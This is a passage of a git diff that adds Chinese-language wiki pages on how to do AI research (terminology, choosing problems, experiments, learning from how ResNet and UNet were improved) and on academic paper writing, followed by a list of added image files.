+直方图和幂律分布等等 + +甚至你可以考虑更为高级的热力图 diff --git a/4.人工智能/4.8如何做研究.md b/4.人工智能/4.8如何做研究.md new file mode 100644 index 0000000..d9a7986 --- /dev/null +++ b/4.人工智能/4.8如何做研究.md @@ -0,0 +1,153 @@ +# 如何做研究 + +# 0. 讲在前面 + +Author: 任浩帆 + +Email: yqykrhf@163.commailto:yqykrhf@163.com + +术语介绍的补充:Spy + +仅供参考,如有不足,不吝赐教。 + +# 术语的介绍 + +Benchmark:评测的基准。通常会是一些公开的数据集。 + +Baseline: 基准,一般指的是一个现有的工作。 + +SOTA (state-of-art): 截止目前,指标最好。 + +举个例子: + +我们选取 XXX-Net 作为我们的 Baseline,在加入我们设计的注意力机制的模块,在 KITTI 这个 Benchmark 上性能达到了 SOTA。 + +Backbone: + +这个单词原意指的是人的脊梁骨,后来引申为支柱,核心的意思。 + +在神经网络中,尤其是 CV 领域,一般先对图像进行特征提取(常见的有 vggnet,resnet,谷歌的 inception),这一部分是整个 CV 任务的根基,因为后续的下游任务都是基于提取出来的图像特征去做文章(比如分类,生成等等)。 + +所以将这一部分网络结构称为 backbone 十分形象,仿佛是一个人站起来的支柱。 + +Solid + +一般是描述这个工作非常扎实。 + +这个工作很 solid。 每一步都 make sense(合理)。没有特意为了刷 benchmark 上的指标,用一些 fancy trick(奇技淫巧)。 + +Robust + +鲁棒性,是描述一个系统受到外界的干扰情况下,仍然能保持较好的性能。 + +举个例子: + +我们的系统的图片加入大量的噪声,已经旋转平移缩放以后,仍然能正确的分类,这表明了我们的工作具有一定的鲁棒性。 + +# 坐而论道 + +## 2.1 研究是什么 + +从实际的几个例子讲起: + +1. 某学生,被老师分配了一个课题的名字:《语义分割》。之后开始看相关的论文,了解到有实时语义分割,视频语义分割,跨模态语义分割等等子任务或者交叉任务,然后跟导师开始汇报自己的一些感想,最后在老师的建议之下拟定了具体的课题,开始思考解决方案。 +2. 某学生,被老师分配了一个课题的名字:《存在遮挡情况下的单目人体重建》 。之后这个学生对这个问题提出了有效的解决方案。 +3. 某同学在 waymo(Google 自动驾驶子公司)实习,发现没有用神经网络来直接处理点云的工作。于是决定做一个神经网络能够直接输入点云,经过几番尝试以后,提出了《第一个能直接处理点云的网络》。 +4. 某高校的本科生在 lcw 下的指导下做科研的流程: 老师直接给给一个 basic idea,然后让本科做实验,在这个工程中非常有针对性的指导。 + +例 1 是在给定一个大题目的基础下,去阅读论文寻找小题目。 + +例 2 是在给定一个具体细致的题目基础下,直接去想如何解决。 + +例 3 是在实际工作的情况下发现了一个非常有意义的问题,然后思考如何解决。 + +例 4 是直接给定一个 idea,去实现,研究者所需要完成的几乎是工程实践。 + +理想情况下,研究流程应该包含: + +Step 1. 提出问题 + +Step 2. 提出解决方案 + +Step 3. 验证解决方案的有效性。 + +有些问题是一直存在,但没有彻底解决的。这一类的问题通常,就不存在 Step 1。从事这一课题的研究者经常会在 2,3 之间来回反复。 + +## 2.2 如何做研究 + +从上一小节的几个例子当中,其实不同的人做研究所需要完成的工作是完全不一样的。很多时候只需要做 step 3 即可,从功利的角度来讲这是性价比最高的。 + +如果我们是一个合格的博士或者我们致力于如此,那么首先的第一步要找到一个好的问题,这是一个非常重要的开始,一个好的问题往往意味着研究已经成功了一半。 什么是一个好的问题?它可能会有以下几个特点: + +1. 理论上能实现某种意义上的统一,从而使得问题的描述变得非常优雅。比如 [DepthAwareCNN](https://arxiv.org/abs/1803.06791) +2. 对于之后的工作非常具有启发的作用,甚至达到某种意义的纠偏作用。 比如 [OccuSeg](https://arxiv.org/abs/2003.06537) +3. 本身足够 solid,可以作为 meta algorithm。 比如 Mask-RCNN +4. 是一个大家没有引起足够重视,却非常棘手且非常迫切的问题。 比如相机快速运动下的重建,[MBA-VO](https://openaccess.thecvf.com/content/ICCV2021/papers/Liu_MBA-VO_Motion_Blur_Aware_Visual_Odometry_ICCV_2021_paper.pdf) + +### 2.2.1 如何去找一个好的问题 + +如何确保自己选的问题是一个好的问题?这需要和指导老师及时的反馈。如果指导老师不给力,那么一些方法仅供参考。 + +1. 自己和工业界的一些人去交流与沟通,看看实际落地的痛点是什么?面对这些痛点,已有的研究方法能否解决,是否有一些现有的 benchmark 或者容易制作的 benchmark 来做为评价标准。 +2. 做加法。举个例子:图片可以做语义分割。 那么图片 + 深度图如何更好的做语义分割。 图片 + 文字描述的做语义分割。现在的语义分割的标注都是 0,1,2,3 这些数字,然后每一个数字对应一个实际的类别,这个对应表是认为规定的。如果我把 0,1 的对应关系换掉。重新训练以后就,网络的性能是否会影响? +3. 做减法。对于点云的语义分割的标注,通过是非常费时费力的。 那么对于点云来说,少量的标注是否是可行的?比如只标注百分之 10 的点。 + +以上是一些技巧,把输入调整一下,约束去掉一些,就会有很多新的问题。 这个过程通常被叫做“调研” + +这个过程在是一个相对比较痛苦的过程,因为调研的过程中你会发现很多问题,想到很多所谓创新的解决方法,但是实际上你会发现你的解决方法已经有很多人做过了。这一阶段调整心态很重要,切忌急于求成。 + +### 2.2.2 如果提出解决方法 + +这个阶段需要百折不挠,小步快跑了。 一下是有一些可能有帮助的技巧: + +1. 多读本领域的论文。(说起来非常玄妙,会在如何读论文部分详细解释) +2. 读一些基础,跨领域的论文。 把其他领域的方法搬过来直接用。直接用通常情况下会存在一些问题,那么需要针对性的做一些改进。 +3. 从历史出发。将你面对的问题抽象成数学问题,这个数学问题可能过去很多人都遇到过,去看一看他们是如何解决的,从中获取一些灵感。 + +### 2.2.3 如果做实验 + +做实验的目的是为了快速的验证想法的正确性。 以下两个东西最好要有 + +1. 版本控制 +2. 日志系统 + +剩下就是一些工程习惯的问题,比如出现错误用 `std::cerr` 而不是 `std::cout`。这是一个需要实践积累的部分,与做研究有些脱节,之后有时间会在其他小节做一些补充。 + +# 快速出成果的捷径与方法 + +如何快速的出成果,不管别人如何帮你,前提是你自己要足够的强。不能存在 “靠别人” 的想法。 + +对于一个博士生来讲,出成果保毕业,那么可能要对学术的进展要敏感,比如 Nerf 八月份刚出来的时候,如果你非常敏锐的意识到这个工作的基础性和重要性。那么你稍微思考一两个月,总是能有一些创新的 ieda 产生的。 所以这个timing 和 senstive就非常重要,当然导师是不是审稿人可能更重要。 + +对于一个本科生来讲,当然是跟着指导老师的脚步去做。但是如果指导老师只是把你当成一个工具人,一直打杂货的话。你想发论文,一种所谓的捷径是 A+B。就是把一个方法直接拿过来用在另一个地方,大概率这样会有一些问题,那么你就可以针对性的改进,如何针对性的改进?不好的方式是 A+B 套娃,好一些的方式是分析这个不好的原因在哪里,现有的方法多大程度可以帮助解决这个问题,或者现有的方法解决不了这个问题,但是其中的一个模块是否是可以参考的。 + +## 3.2 学习别人是如何改进网络的(Beta) + +自 UNet 提出后就有许多的魔改版本,如 UNet++, U2Net, 而这些 UNet 的性能也十分优异。 + +可以参考 UNet 的发展历程,去学习如何在前人的工作上加以改进和提升。 + +注:通过历史的演变来学习是非常有必要的,但是你需要注意一点的是,深度学习很多时候会出现一些情况: + +1. 你认为你提出的改进方法是有效的,但是实际是不 OK 的 +2. 你认为你提出的方法可能有效,实际上也确实有效。然而你不能以令人信服的方式说明这为什么有效。 + +举个例子 ResNet 为什么有效。“因为网络越深,可以拟合的函数空间就会复杂,但是越深网络效果反而变差。那么从一个角度来思考:网络至少某一层 i 开始到最后一层 k,如果学习到的函数是 f(x)=x 的恒等映射,那么网络变深以后至少输出是和 i-1 层的是一模一样的,从而网络变深可能不一定会变好,但是至少不会变差才对。” 看起来很有道理,然后 CVPR2021 分享会,ResNet 的作者之一,xiangyu zhang 说 “当时也完全不能使人很信服的解释为什么 ResNet 就一定效果好,感觉更像是基于一些灵感,得到了一个很棒的东西,更像是一个工程化的问题,而不是一个研究。但我们可以先告诉别人这个是非常有效的,至于为什么有效,可能需要其他人来解决。” + +再举一个例子 BN(Batch normalization)为什么有效,你去看 BN 的原论文和之后关于 BN 为什么有效的研究,会发现原论文认为有效的原因是不太能让人信服的。 但这不妨碍 BN 有效,而且非常快的推广起来。 + +其实这件事可以类比于中医,做研究就好比要提出一套理论,但是我不知怎得忽然发现有一个方子经过测试非常有效,但是我确实不能给出一个很好的理论解释说明这个房子为什么有效。但是我尽快把这个方子告诉大家,这同样是非常有意义的。 + +举这个两个例子是为了说明,类似 ResNet 这种拍一拍脑袋就想出的 idea,一天可能能想出十几个,但是最后做出来,并且真正 work 的非常少。这里面就存在一个大浪淘沙的过程,可能我们看到的经典的网络,比如 Unet 就是拍拍脑袋,迅速做实验出来的。 我认为这种思考方式仅仅值得参考,并不值得效仿。 现在早已经不是 5 年前那样,却设计各种 fancy 的网络结构去发论文的年代了。 + +那么我们应该如何对待神经网络?(之后再写) + +但我想 Charles qi 的思考方式是值得借鉴的。论文的顺序是 + +PointNet------>PointNet++------>PointFrustum-------->VoteNet + +有对应的中文 Talk。但我建议先去读论文,之后再看 talk。 + +我们不应该无脑的认为我们给什么数据,网络就会得到好的结果。说什么高层,底层特征云云。 + +思考问题可以先从类似哲学的 high level 层面开始,但是具体操作一定要 make sense,不然只是一个空想家。 diff --git a/4.人工智能/4.9科研论文写作.md b/4.人工智能/4.9科研论文写作.md new file mode 100644 index 0000000..4097f4d --- /dev/null +++ b/4.人工智能/4.9科研论文写作.md @@ -0,0 +1,61 @@ +# 科研论文写作 + +author:晓宇 + +序言:写作,一门需要反馈才能学习的科目,无论一个人有多么厉害,第一篇论文的写作,总是那么不尽人意。 + +其原因在于,首先学术性写作是一门需要刻意训练的科目,其次学术写作训练的反馈成本是巨大的,很难落实到每一个人身上,这并不是一门看看网课就能学会的技能。 + +所以开设本栏目分享一些感悟与资料。 + +论文写作方法论简述: + +我分为两大块:先想清楚你干了什么,在训练好你表达的规范性 + +大白话-》提取后的逻辑链条-》科研写作-》英文翻译 + +干了什么: + +1.如果没有想清楚要做的是什么,要写什么,可以先用大白话,在草稿上写,有利于理清思路,抽丝剥茧 + +失败案例:一上来直接英文【】‘’写作,一会 we want ,一会 80 个词语的长难句,思路英语都不清晰 + +2.先列出 Outline 每一个科研 section 你打算做什么,尝试去回答问题 + +Introduction(Longer version of theAbstract,i.e.of the entire paper): + +X: What are we trying to do and why is it relevant? + +Y: Why is this hard? + +Z: How do we solve it (i.e. ourcontribution!) + +1: How do we verify that we solved it: + +1a) Experimental results1b) + +TheoryExtra space? Future work!Extra points for havingFigure 1 + +on the first page + +之所以要用大白话是因为基础的不足,如果有一定功底的人,可能先天写出来文字自带规范性,所以仅供大家参考) + +表达规范性: + +此处的方法论为一句话,则是从模仿到超越的浑然天成 + +1、但凡是写作,原理无非是学习表达各种逻辑的常用性词语,要表达转折,对比,强调要是用什么词,使用什么句式,在学习的过程中,先是看优秀论文一句话表达的逻辑,然后抽丝剥茧,去掉他的主要内容填入自己的即可。 + +2、迭代式写作,尝试多次更改写作的内容,优秀的作品都是改出来的,在把一部分的意思表达清晰知识 + +上述内容是写作的怎么去写,而下面则是内容层面,什么样的文章算是一篇好的文章 + +C 会文章与 A 会文章的区别认知: + +(1).C 是对于相关工作一个是罗列,A 是整理相关工作的脉络和方法类别,以及方法缺陷 + +``` + (2).对于设计的方法,C会只是说明我们比另外几个模型好,并不能从原理层面深入分析为什么比别人好,而A会则是能够说明每一部设计对模型的增量效果,以及为什么要做这一步。 +``` + +参考资料: diff --git a/4.人工智能/4.人工智能.md b/4.人工智能/4.人工智能.md new file mode 100644 index 0000000..c8248bc --- /dev/null +++ b/4.人工智能/4.人工智能.md @@ -0,0 +1 @@ +# 4.人工智能 diff --git a/4.人工智能/static/AMU7bSgh4o8tEIxk82icvtbDn0c.png b/4.人工智能/static/AMU7bSgh4o8tEIxk82icvtbDn0c.png new file mode 100644 index 0000000..77303c4 Binary files /dev/null and b/4.人工智能/static/AMU7bSgh4o8tEIxk82icvtbDn0c.png differ diff --git a/4.人工智能/static/AdOVbwCGhoVcWVx21TMcdhbDnIg.png b/4.人工智能/static/AdOVbwCGhoVcWVx21TMcdhbDnIg.png new file mode 100644 index 0000000..08e6341 Binary files /dev/null and b/4.人工智能/static/AdOVbwCGhoVcWVx21TMcdhbDnIg.png differ diff --git a/4.人工智能/static/BbIiba1pwo3uI7x4k7QcwicznGc.png b/4.人工智能/static/BbIiba1pwo3uI7x4k7QcwicznGc.png new file mode 100644 index 0000000..4e31cf5 Binary files /dev/null and b/4.人工智能/static/BbIiba1pwo3uI7x4k7QcwicznGc.png differ diff --git a/4.人工智能/static/BcfWbqCNKoXpTHxPQVqczsvcnBd.png b/4.人工智能/static/BcfWbqCNKoXpTHxPQVqczsvcnBd.png new file mode 100644 index 0000000..f8429dc Binary files /dev/null and b/4.人工智能/static/BcfWbqCNKoXpTHxPQVqczsvcnBd.png differ diff --git a/4.人工智能/static/ByeFbxTfToxFlgxh6xmcIKeRnzd.png b/4.人工智能/static/ByeFbxTfToxFlgxh6xmcIKeRnzd.png new file mode 100644 index 0000000..f236776 Binary files /dev/null and b/4.人工智能/static/ByeFbxTfToxFlgxh6xmcIKeRnzd.png differ diff --git a/4.人工智能/static/CQmGb6QTjoeyVCx9vjncYF2QnQe.png b/4.人工智能/static/CQmGb6QTjoeyVCx9vjncYF2QnQe.png new file mode 100644 index 0000000..20a906b Binary files /dev/null and b/4.人工智能/static/CQmGb6QTjoeyVCx9vjncYF2QnQe.png differ diff --git a/4.人工智能/static/CvPybic63o7jSlxvuzpcFxjQnse.png b/4.人工智能/static/CvPybic63o7jSlxvuzpcFxjQnse.png new file mode 100644 index 0000000..b2b934e Binary files /dev/null and b/4.人工智能/static/CvPybic63o7jSlxvuzpcFxjQnse.png differ diff --git a/4.人工智能/static/DKzTbJSZMoc1UkxT9KOcIHqvnob.png b/4.人工智能/static/DKzTbJSZMoc1UkxT9KOcIHqvnob.png new file mode 100644 index 0000000..03c438c Binary files /dev/null and b/4.人工智能/static/DKzTbJSZMoc1UkxT9KOcIHqvnob.png differ diff --git a/4.人工智能/static/DN3mb0lbno2AHvx2M0JcrTvtnYf.png b/4.人工智能/static/DN3mb0lbno2AHvx2M0JcrTvtnYf.png new file mode 100644 index 0000000..dc1307b Binary files /dev/null and b/4.人工智能/static/DN3mb0lbno2AHvx2M0JcrTvtnYf.png differ diff --git a/4.人工智能/static/E8YrbXnGtoNHEJxmAttcX4p0nlg.png b/4.人工智能/static/E8YrbXnGtoNHEJxmAttcX4p0nlg.png new file mode 100644 index 0000000..df769bf Binary files /dev/null and b/4.人工智能/static/E8YrbXnGtoNHEJxmAttcX4p0nlg.png differ diff --git a/4.人工智能/static/EOfJbvoUMogVT8xsrTxcl5ugnrk.png b/4.人工智能/static/EOfJbvoUMogVT8xsrTxcl5ugnrk.png new file mode 100644 index 0000000..7f85cb2 Binary files /dev/null and b/4.人工智能/static/EOfJbvoUMogVT8xsrTxcl5ugnrk.png differ diff --git a/4.人工智能/static/EjB9bzgZNohQtkxXwXgcVrKwnth.png b/4.人工智能/static/EjB9bzgZNohQtkxXwXgcVrKwnth.png new file mode 100644 index 0000000..72a49d0 Binary files /dev/null and b/4.人工智能/static/EjB9bzgZNohQtkxXwXgcVrKwnth.png differ diff --git a/4.人工智能/static/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png b/4.人工智能/static/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png new file mode 100644 index 0000000..9a8bf6f Binary files /dev/null and b/4.人工智能/static/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png differ diff --git a/4.人工智能/static/EuXObldHcoaO74xIzZocQQKTn4k.png b/4.人工智能/static/EuXObldHcoaO74xIzZocQQKTn4k.png new file mode 100644 index 0000000..526f404 Binary files /dev/null and b/4.人工智能/static/EuXObldHcoaO74xIzZocQQKTn4k.png differ diff --git a/4.人工智能/static/FYu3bQwCZofBgsxKDJiciTR7nzc.png b/4.人工智能/static/FYu3bQwCZofBgsxKDJiciTR7nzc.png new file mode 100644 index 0000000..7f2f61b Binary files /dev/null and b/4.人工智能/static/FYu3bQwCZofBgsxKDJiciTR7nzc.png differ diff --git a/4.人工智能/static/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png b/4.人工智能/static/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png new file mode 100644 index 0000000..c752611 Binary files /dev/null and b/4.人工智能/static/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png differ diff --git a/4.人工智能/static/FjYOb3Qr5ofHdOx7REacdcyqn0c.png b/4.人工智能/static/FjYOb3Qr5ofHdOx7REacdcyqn0c.png new file mode 100644 index 0000000..f7c43ad Binary files /dev/null and b/4.人工智能/static/FjYOb3Qr5ofHdOx7REacdcyqn0c.png differ diff --git a/4.人工智能/static/GTagbx1jso6l8gx1rQOcPW3inIb.png b/4.人工智能/static/GTagbx1jso6l8gx1rQOcPW3inIb.png new file mode 100644 index 0000000..5a36082 Binary files /dev/null and b/4.人工智能/static/GTagbx1jso6l8gx1rQOcPW3inIb.png differ diff --git a/4.人工智能/static/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png b/4.人工智能/static/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png new file mode 100644 index 0000000..886b0ae Binary files /dev/null and b/4.人工智能/static/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png differ diff --git a/4.人工智能/static/GsxxbeoPzoOZn4xSUaecVzKNnBc.png b/4.人工智能/static/GsxxbeoPzoOZn4xSUaecVzKNnBc.png new file mode 100644 index 0000000..a6f51b4 Binary files /dev/null and b/4.人工智能/static/GsxxbeoPzoOZn4xSUaecVzKNnBc.png differ diff --git a/4.人工智能/static/HCxXbwKFyof6DFx6FZ8c5EHknBh.png b/4.人工智能/static/HCxXbwKFyof6DFx6FZ8c5EHknBh.png new file mode 100644 index 0000000..e40cb0e Binary files /dev/null and b/4.人工智能/static/HCxXbwKFyof6DFx6FZ8c5EHknBh.png differ diff --git a/4.人工智能/static/HaqObF0xAoX6O8xDX7KctF0jnpf.png b/4.人工智能/static/HaqObF0xAoX6O8xDX7KctF0jnpf.png new file mode 100644 index 0000000..fbd592e Binary files /dev/null and b/4.人工智能/static/HaqObF0xAoX6O8xDX7KctF0jnpf.png differ diff --git a/4.人工智能/static/Hesobke0ZocH48xGFyocf9Cxntd.png b/4.人工智能/static/Hesobke0ZocH48xGFyocf9Cxntd.png new file mode 100644 index 0000000..ba81fbb Binary files /dev/null and b/4.人工智能/static/Hesobke0ZocH48xGFyocf9Cxntd.png differ diff --git a/4.人工智能/static/HhG9bcJP2okKMMxY0FGclP0AnXY.png b/4.人工智能/static/HhG9bcJP2okKMMxY0FGclP0AnXY.png new file mode 100644 index 0000000..54f26fa Binary files /dev/null and b/4.人工智能/static/HhG9bcJP2okKMMxY0FGclP0AnXY.png differ diff --git a/4.人工智能/static/HkvdbcEdmo6RtjxOqqic31XFnSh.png b/4.人工智能/static/HkvdbcEdmo6RtjxOqqic31XFnSh.png new file mode 100644 index 0000000..d7742de Binary files /dev/null and b/4.人工智能/static/HkvdbcEdmo6RtjxOqqic31XFnSh.png differ diff --git a/4.人工智能/static/IROdbJ4zAooiWNxitU9cRovbnne.png b/4.人工智能/static/IROdbJ4zAooiWNxitU9cRovbnne.png new file mode 100644 index 0000000..dfcba92 Binary files /dev/null and b/4.人工智能/static/IROdbJ4zAooiWNxitU9cRovbnne.png differ diff --git a/4.人工智能/static/JdCqb2UI9ooWmdxk258cTIIznab.png b/4.人工智能/static/JdCqb2UI9ooWmdxk258cTIIznab.png new file mode 100644 index 0000000..4f00c7c Binary files /dev/null and b/4.人工智能/static/JdCqb2UI9ooWmdxk258cTIIznab.png differ diff --git a/4.人工智能/static/K53FbGmswoM7JAxqJZxcQEjdnES.png b/4.人工智能/static/K53FbGmswoM7JAxqJZxcQEjdnES.png new file mode 100644 index 0000000..d9a10ec Binary files /dev/null and b/4.人工智能/static/K53FbGmswoM7JAxqJZxcQEjdnES.png differ diff --git a/4.人工智能/static/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png b/4.人工智能/static/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png new file mode 100644 index 0000000..30add3a Binary files /dev/null and b/4.人工智能/static/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png differ diff --git a/4.人工智能/static/LDZab4TeMoByvDxF1Onc8WQenpb.png b/4.人工智能/static/LDZab4TeMoByvDxF1Onc8WQenpb.png new file mode 100644 index 0000000..3241017 Binary files /dev/null and b/4.人工智能/static/LDZab4TeMoByvDxF1Onc8WQenpb.png differ diff --git a/4.人工智能/static/LPgEbVQg2oZBSexmGWwcwfbdnVd.png b/4.人工智能/static/LPgEbVQg2oZBSexmGWwcwfbdnVd.png new file mode 100644 index 0000000..61b46f3 Binary files /dev/null and b/4.人工智能/static/LPgEbVQg2oZBSexmGWwcwfbdnVd.png differ diff --git a/4.人工智能/static/LTKXbs7VPoZxlqxfXfkczFh0nBh.png b/4.人工智能/static/LTKXbs7VPoZxlqxfXfkczFh0nBh.png new file mode 100644 index 0000000..caf8997 Binary files /dev/null and b/4.人工智能/static/LTKXbs7VPoZxlqxfXfkczFh0nBh.png differ diff --git a/4.人工智能/static/LuEzbLOaqox7yox5lXzcouWYnKc.png b/4.人工智能/static/LuEzbLOaqox7yox5lXzcouWYnKc.png new file mode 100644 index 0000000..c18431e Binary files /dev/null and b/4.人工智能/static/LuEzbLOaqox7yox5lXzcouWYnKc.png differ diff --git a/4.人工智能/static/M2vZbA5hpoT9RExuAGwcBHF1nmh.png b/4.人工智能/static/M2vZbA5hpoT9RExuAGwcBHF1nmh.png new file mode 100644 index 0000000..a2f42a6 Binary files /dev/null and b/4.人工智能/static/M2vZbA5hpoT9RExuAGwcBHF1nmh.png differ diff --git a/4.人工智能/static/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png b/4.人工智能/static/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png new file mode 100644 index 0000000..5e0fec3 Binary files /dev/null and b/4.人工智能/static/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png differ diff --git a/4.人工智能/static/MebubVSxRonfZ2xnYj9c5TYCnIg.png b/4.人工智能/static/MebubVSxRonfZ2xnYj9c5TYCnIg.png new file mode 100644 index 0000000..a91e5a5 Binary files /dev/null and b/4.人工智能/static/MebubVSxRonfZ2xnYj9c5TYCnIg.png differ diff --git a/4.人工智能/static/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png b/4.人工智能/static/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png new file mode 100644 index 0000000..ea92a76 Binary files /dev/null and b/4.人工智能/static/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png differ diff --git a/4.人工智能/static/NuabbQqZjoBkNixz45AcDZ8Bnrg.png b/4.人工智能/static/NuabbQqZjoBkNixz45AcDZ8Bnrg.png new file mode 100644 index 0000000..bc3f822 Binary files /dev/null and b/4.人工智能/static/NuabbQqZjoBkNixz45AcDZ8Bnrg.png differ diff --git a/4.人工智能/static/OuhabfzABoqxQxxS1n1cPLTinKb.png b/4.人工智能/static/OuhabfzABoqxQxxS1n1cPLTinKb.png new file mode 100644 index 0000000..aaefb09 Binary files /dev/null and b/4.人工智能/static/OuhabfzABoqxQxxS1n1cPLTinKb.png differ diff --git a/4.人工智能/static/PBF7bNpPcoTh1bxP4rqcshA5nIg.png b/4.人工智能/static/PBF7bNpPcoTh1bxP4rqcshA5nIg.png new file mode 100644 index 0000000..f15d415 Binary files /dev/null and b/4.人工智能/static/PBF7bNpPcoTh1bxP4rqcshA5nIg.png differ diff --git a/4.人工智能/static/PQeZbJv3Bom6NYxa6lccT084nFn.png b/4.人工智能/static/PQeZbJv3Bom6NYxa6lccT084nFn.png new file mode 100644 index 0000000..bb1e6a9 Binary files /dev/null and b/4.人工智能/static/PQeZbJv3Bom6NYxa6lccT084nFn.png differ diff --git a/4.人工智能/static/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png b/4.人工智能/static/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png new file mode 100644 index 0000000..beba44a Binary files /dev/null and b/4.人工智能/static/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png differ diff --git a/4.人工智能/static/PxE3b05ApofzZ1x8u49cirdUnye.png b/4.人工智能/static/PxE3b05ApofzZ1x8u49cirdUnye.png new file mode 100644 index 0000000..67e9428 Binary files /dev/null and b/4.人工智能/static/PxE3b05ApofzZ1x8u49cirdUnye.png differ diff --git a/4.人工智能/static/RKV2buJoroCV6SxiMUuct3dbnPU.png b/4.人工智能/static/RKV2buJoroCV6SxiMUuct3dbnPU.png new file mode 100644 index 0000000..9f73da1 Binary files /dev/null and b/4.人工智能/static/RKV2buJoroCV6SxiMUuct3dbnPU.png differ diff --git a/4.人工智能/static/S31Ub9xcUo9yArxntWscU47pnwh.png b/4.人工智能/static/S31Ub9xcUo9yArxntWscU47pnwh.png new file mode 100644 index 0000000..28442da Binary files /dev/null and b/4.人工智能/static/S31Ub9xcUo9yArxntWscU47pnwh.png differ diff --git a/4.人工智能/static/S6SRbMUrcoYQCYxZGgJczkdcnBP.png b/4.人工智能/static/S6SRbMUrcoYQCYxZGgJczkdcnBP.png new file mode 100644 index 0000000..747a436 Binary files /dev/null and b/4.人工智能/static/S6SRbMUrcoYQCYxZGgJczkdcnBP.png differ diff --git a/4.人工智能/static/SGVWbCcTlobQwJxSjKvcNyJAnEG.png b/4.人工智能/static/SGVWbCcTlobQwJxSjKvcNyJAnEG.png new file mode 100644 index 0000000..618ea4d Binary files /dev/null and b/4.人工智能/static/SGVWbCcTlobQwJxSjKvcNyJAnEG.png differ diff --git a/4.人工智能/static/SU2DbQeN2oxs5ex3K3NcMaJfnch.png b/4.人工智能/static/SU2DbQeN2oxs5ex3K3NcMaJfnch.png new file mode 100644 index 0000000..6924f45 Binary files /dev/null and b/4.人工智能/static/SU2DbQeN2oxs5ex3K3NcMaJfnch.png differ diff --git a/4.人工智能/static/SYw4bOzqAo65PQxZQLucbZAxnHd.png b/4.人工智能/static/SYw4bOzqAo65PQxZQLucbZAxnHd.png new file mode 100644 index 0000000..2713741 Binary files /dev/null and b/4.人工智能/static/SYw4bOzqAo65PQxZQLucbZAxnHd.png differ diff --git a/4.人工智能/static/THhpbemEHoxl80xHeTjc9d35nVh.png b/4.人工智能/static/THhpbemEHoxl80xHeTjc9d35nVh.png new file mode 100644 index 0000000..9af4d7b Binary files /dev/null and b/4.人工智能/static/THhpbemEHoxl80xHeTjc9d35nVh.png differ diff --git a/4.人工智能/static/TI5Mb781YocwpqxRsyRcPS8WnAg.png b/4.人工智能/static/TI5Mb781YocwpqxRsyRcPS8WnAg.png new file mode 100644 index 0000000..4dccc88 Binary files /dev/null and b/4.人工智能/static/TI5Mb781YocwpqxRsyRcPS8WnAg.png differ diff --git a/4.人工智能/static/UVssbyMxCoEQSuxvjh3caWAFnOb.png b/4.人工智能/static/UVssbyMxCoEQSuxvjh3caWAFnOb.png new file mode 100644 index 0000000..3f75216 Binary files /dev/null and b/4.人工智能/static/UVssbyMxCoEQSuxvjh3caWAFnOb.png differ diff --git a/4.人工智能/static/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png b/4.人工智能/static/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png new file mode 100644 index 0000000..a297a44 Binary files /dev/null and b/4.人工智能/static/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png differ diff --git a/4.人工智能/static/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png b/4.人工智能/static/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png new file mode 100644 index 0000000..a1d629c Binary files /dev/null and b/4.人工智能/static/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png differ diff --git a/4.人工智能/static/UiHObqm4noSOKlxcEtScuwPlnLd.png b/4.人工智能/static/UiHObqm4noSOKlxcEtScuwPlnLd.png new file mode 100644 index 0000000..7d95228 Binary files /dev/null and b/4.人工智能/static/UiHObqm4noSOKlxcEtScuwPlnLd.png differ diff --git a/4.人工智能/static/VSbubz9JYo7H8XxgSbCcmMQHniK.png b/4.人工智能/static/VSbubz9JYo7H8XxgSbCcmMQHniK.png new file mode 100644 index 0000000..0400a1e Binary files /dev/null and b/4.人工智能/static/VSbubz9JYo7H8XxgSbCcmMQHniK.png differ diff --git a/4.人工智能/static/Vv9Sb26QfoMrkqx5apycIYPJnlf.png b/4.人工智能/static/Vv9Sb26QfoMrkqx5apycIYPJnlf.png new file mode 100644 index 0000000..4e587be Binary files /dev/null and b/4.人工智能/static/Vv9Sb26QfoMrkqx5apycIYPJnlf.png differ diff --git a/4.人工智能/static/Wsntb9rLwogdAKxpJgLchrI8nae.png b/4.人工智能/static/Wsntb9rLwogdAKxpJgLchrI8nae.png new file mode 100644 index 0000000..df397b6 Binary files /dev/null and b/4.人工智能/static/Wsntb9rLwogdAKxpJgLchrI8nae.png differ diff --git a/4.人工智能/static/WstnbmHwYoQauRxUQOCclz8Jngb.png b/4.人工智能/static/WstnbmHwYoQauRxUQOCclz8Jngb.png new file mode 100644 index 0000000..32656ed Binary files /dev/null and b/4.人工智能/static/WstnbmHwYoQauRxUQOCclz8Jngb.png differ diff --git a/4.人工智能/static/X34Rb5R7AonUg3xYs7DcQzSfndg.png b/4.人工智能/static/X34Rb5R7AonUg3xYs7DcQzSfndg.png new file mode 100644 index 0000000..e7d6e63 Binary files /dev/null and b/4.人工智能/static/X34Rb5R7AonUg3xYs7DcQzSfndg.png differ diff --git a/4.人工智能/static/XOeTbb4BooRbKBx4gHwc3A7EnYf.png b/4.人工智能/static/XOeTbb4BooRbKBx4gHwc3A7EnYf.png new file mode 100644 index 0000000..5a2b545 Binary files /dev/null and b/4.人工智能/static/XOeTbb4BooRbKBx4gHwc3A7EnYf.png differ diff --git 